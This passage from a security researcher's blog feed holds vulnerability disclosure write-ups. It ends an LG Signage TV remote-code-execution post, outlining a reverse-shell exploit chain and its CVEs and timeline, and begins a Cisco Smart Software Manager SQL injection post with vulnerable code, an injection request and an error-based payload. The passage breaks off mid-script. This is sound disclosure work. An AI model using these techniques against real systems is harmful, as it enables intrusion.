&lt;p&gt;The device name is by default created with the use of a serial number. From this data we can create a temporary admin password and log in as administrator to previously not configured device. Now we had all the pieces for the exploit chain:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Get device serial number from unauthenticated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/setting&lt;/code&gt; endpoint,&lt;/li&gt;
  &lt;li&gt;Generate temporary password and log in to Control Manager app,&lt;/li&gt;
  &lt;li&gt;Overwrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wta_enabled&lt;/code&gt; file, with reverse shell,&lt;/li&gt;
  &lt;li&gt;Reboot the device remotely using Websockets,&lt;/li&gt;
  &lt;li&gt;Listen for the shell.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We’ve quickly put together a dirty PoC python script that automates all the exploitation. You can see a successful exploitation of a freshly reset LG Signage TV in the below video:&lt;/p&gt;

&lt;video src=&quot;/static/video/lg_webos_poc_720.mp4&quot; controls=&quot;controls&quot; style=&quot;max-width: 730px;&quot;&gt;&lt;/video&gt;

&lt;p&gt;As there is still some possible attack surface for the Signage TVs exposed on the web, we’ve decided to not yet publish full PoC script. Below you can see that based on a recent Shodan query there are 443 devices exposed to the public internet:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_10.png&quot; alt=&quot;Shodan query&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;final-words&quot;&gt;Final words&lt;/h2&gt;
&lt;p&gt;We’ve encountered some ups and downs when reporting these vulnerabilities to the LGE Security team. At first, they had some problems decrypting our report with their PGP key, then it took months to replicate and patch the issues. Finally, they required a lot of personal details from us to pay the bounty (i.e. bank account statements). As we did not want to provide such details, we declined the bounty and told LG to donate the bounty amount to charity. Unfortunately, their response was also negative to such request:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_11.png&quot; alt=&quot;LG response&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When it comes to the weird &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wtaservice.conf&lt;/code&gt; script, it seems that we were not the only ones that figured out that there is something odd with this piece of code. On 23rd of December 2023, user &lt;a href=&quot;https://twitter.com/zibri&quot;&gt;@zibri&lt;/a&gt; tweeted that he found a 0-day in LG Smart TVs and the vendor did not want to pay for it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_12.png&quot; alt=&quot;Twitter post&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Two months later, a Github &lt;a href=&quot;https://gist.github.com/throwaway96/b171240ef59d7f5fd6fb48fc6dfd2941&quot;&gt;Gist&lt;/a&gt; appeared with a detailed description of how to exploit the USB version of the “backdoor” and also with some investigation about the WTA service itself. The Gist mentions that the vulnerability was found by @mariotaku but I could not find any more sources referencing this user and the vulnerability.&lt;/p&gt;

&lt;p&gt;We are not claiming that we were the first researchers to discover the suspicious WTA service and exploit it. However, there is a good probability of that, as LGE Security officially assigned us to their advisory.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/lg_pwnage_13.png&quot; alt=&quot;Advisory acknowledgements&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Security research and vulnerability reporting must be always taken with a grain of salt. Some vendors will do the best to secure their products, and others well… I think I do not need to add anything else if You’ve read the above post ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯&lt;/p&gt;

&lt;h2 id=&quot;advisory&quot;&gt;Advisory&lt;/h2&gt;
&lt;p&gt;You can find the advisory for all the vulnerabilities we’ve reported &lt;a href=&quot;https://lgsecurity.lge.com/bulletins/idproducts#updateDetails&quot;&gt;here&lt;/a&gt; under SMR-FEB-2024 section.&lt;/p&gt;

&lt;h2 id=&quot;cves&quot;&gt;CVEs&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;CVE-2024-1885 (LVE-2023-0118) - Remote Code Execution attack in webOS v6.0.0-56 of Signage&lt;/li&gt;
  &lt;li&gt;CVE-2024-1886 (LVE-2023-0119) - Absolute path traversal attack in webOS v6.0.0-56 of Signage&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;13/09/2023 – vulnerabilities reported to LGE Security,&lt;/li&gt;
  &lt;li&gt;30/10/2023 – vulnerabilities confirmed, and two issues resolved by LGE,&lt;/li&gt;
  &lt;li&gt;21/11/2023 – RCE issue is resolved by the LGE,&lt;/li&gt;
  &lt;li&gt;8/12/2023 – bounty payment to charity rejected by LGE,&lt;/li&gt;
  &lt;li&gt;26/02/2024 -advisory is published by LGE&lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>Tue, 09 Apr 2024 03:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/web-applications/2024/04/09/lg-webos-pwnage-getting-rce-on-signage-tvs.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/web-applications/2024/04/09/lg-webos-pwnage-getting-rce-on-signage-tvs.html</guid>
          
          
          <category>web-applications</category>
          
        </item>
      
    
      
        <item>
          <title>Cisco Smart Software Manager on-prem SQL Injection</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/cisco_ssm_logo.png&quot; alt=&quot;Cisco SSM logo&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;
&lt;p&gt;Cisco Smart Software Manager (or SSM), is an open-sourced solution from Cisco to manage and distribute license entitlements for all Cisco products in your local network. It connects to cloud based SSM which is linked with the on-prem instance via Virtual Account. A very brief diagram of the system can be found below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/cisco_ssm_1.png&quot; alt=&quot;Cisco SSM schema&quot; /&gt;
&lt;em&gt;https://www.cisco.com/web/software/286326948/154733/Smart_Software_Manager_On-Prem_8_User_Guide.pdf&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Anyone can download and deploy Cisco SSM on-prem from the Cisco releases &lt;a href=&quot;https://software.cisco.com/download/home/286285506/type/286326948/release/8-202304&quot;&gt;page&lt;/a&gt;. I always prefer to stick to whitebox methodology anytime I have access to source code, so I quickly downloaded and set up the environment.&lt;/p&gt;

&lt;p&gt;The machine runs Debian 11 and whole application backend is written in Ruby. Additionally it utilizes PostgreSQL database and Radius service for managing credentials. The server exposes port 8443 which is used for virtual account login and admin dashboard. Admininstrator dashboard is accessible under &lt;em&gt;https://ciscossm:8443/admin/&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/cisco_ssm_2.png&quot; alt=&quot;Cisco SSM on-prem admin dashboard&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;finding-the-needle-in-a-haystack&quot;&gt;Finding the needle in a haystack&lt;/h2&gt;
&lt;p&gt;I started the research by downloading all the source code for the web application, and searching for intresting endpoints to fiddle with. The I looked for all available API endpoints which can be found in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/config/routes.rb&lt;/code&gt; file. Below you can find all API endpoints for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/notifications/&lt;/code&gt; API.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:notifications&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;manage_account&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_by_dates&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_by_event_type&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;license_notification&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_by_user&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_by_pool&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_by_smart_account&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;get_product_or_license_matches&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;satellite_notification&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;get_notifications_by_category&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_by_license_or_license_pool_text&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_conversion_notifications&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_account_notifications&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;search_security_notifications&apos;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;global&apos;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;All of the above routes are handled in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\app\controllers\admin\notifications_controller.rb&lt;/code&gt; file. After close inspection i noticed that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;search_account_notifications&lt;/code&gt; function does not have a comment above the declaration, unlike other functions in the file which got my attention:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# GET /notifications/category.json?category=&quot;Software&quot;&amp;amp;logical_account_id=1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_notifications_by_category&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Admin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;NotificationsCategoryInteractor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;render_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# GET /notifications/search_by_license_or_license_pool_text.json?logical_account_id=3&amp;amp;text=VA1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;search_by_license_or_license_pool_text&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Admin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Notifications&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SearchByLicenseOrLicensePoolTextInteractor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;render_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# GET /notifications/search_conversion_notifications.json?logical_account_id=3&amp;amp;virtual_account_or_license_name=Default&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;search_conversion_notifications&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Admin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Notifications&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SearchConversionNotificationsInteractor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;render_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;search_account_notifications&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Admin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Notifications&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SearchAccountNotificationsInteractor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;render_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# /notifications/search_security_notifications.json&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;search_security_notifications&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Admin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Notifications&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SearchSecurityNotificationsInteractor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;render_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;I searched for the endpoint in the Burp history and found that the endpoint is being queried by the application with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;limit&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;offset&lt;/code&gt; URL parameters. However fuzzing those parameters returned no promising results. Then I created a list of params from other endpoints from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*_controller.rb&lt;/code&gt; files and tried fuzzing the endpoint with other params from the commented API methods. After a while - bingo! A single quote inserted to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter_by&lt;/code&gt; parameter, resulted in server returning 500 Internal Server Error code with SQL error.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /backend/notifications/search_account_notifications.json?
filter_by=message_type%2cmessage_text%2ccreator_id&apos;&amp;amp;filter_val=a&amp;amp;offset=0&amp;amp;li
mit=10 HTTP/1.1
Host: 192.168.29.139:8443
Cookie: _lic_engine_session=COOKIE; XSRFTOKEN=TOKEN
Accept: application/json
Content-Type: application/json
Connection: close
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: nginx
Date: Tue, 17 Jan 2023 15:30:38 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 277

{&quot;error&quot;:&quot;ActiveRecord::StatementInvalid&quot;,&quot;error_message&quot;:&quot;PG::SyntaxError:ERROR: unterminated quoted string at or near \&quot;&apos;)\&quot;\nLINE 1:
...r(message_text) LIKE &apos;%a%&apos; OR lower(creator_id&apos;) LIKE &apos;%a%&apos;)\n^\n&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Encouraged by that I quickly run sqlmap but after some tweaking I couldn’t get the SQLi to work. Also any manual exploitation was not successful. At this point I realized that I need to jump into database logs in order to exploit this vulnerability.&lt;/p&gt;

&lt;p&gt;In the logs I could see a full SQL query but my excitement was short, as I have realized that I was only able to inject into SELECT COUNT statement. This means I need to build a more complicated error based payload rather that a simple UNION one, as these payloads would not work in this kind of statement.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/cisco_ssm_3.png&quot; alt=&quot;Cisco SSM database logs&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Below you can see the vulnerable query I was injecting into:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELECT COUNT(*) FROM &quot;notifications&quot; WHERE (message_type IN (&apos;Satellite Registered&apos;, &apos;Satellite Re-Registration&apos;, &apos;Account Activation&apos;,&apos;Account Removed&apos;,&apos;Account Requested&apos;,&apos;Account Request Rejected&apos;)) AND (INJECTION HERE)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;back-to-the-drawing-board&quot;&gt;Back to the drawing board&lt;/h2&gt;
&lt;p&gt;I decided to look back into the code to better understand the logic behind this function. The code that was responsible for building the query was located in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app\services\admin\notification_service.rb&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_all_account_registration_events_by_filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filter_by&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filter_val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sort_col&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sort_order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;notifications&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Notification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;message_type IN (?)&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message_types&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sort_params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sort_col&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sort_order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filter_by&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;nil?&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;%&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filter_val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;downcase&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%&quot;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filter_by&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;,&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;notifications&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;notifications&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;lower(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;) LIKE
                :search&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos; OR &apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
                &lt;span class=&quot;ss&quot;&gt;search: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;As I am no ruby expert, this fragment of code was really hard for me to understand. So I decided to create a ruby script that generated the query with injected payload based on the above code. You can find created script below:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;filter_by&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;message_type)) LIKE &apos;%&apos; OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE &apos;P%&apos;) THEN 0 ELSE 1 END)-- ,bbb,ccc,ddd&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;filter_val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;eee&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;%&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filter_val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;downcase&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%&quot;&lt;/span&gt; 
&lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filter_by&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;,&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 

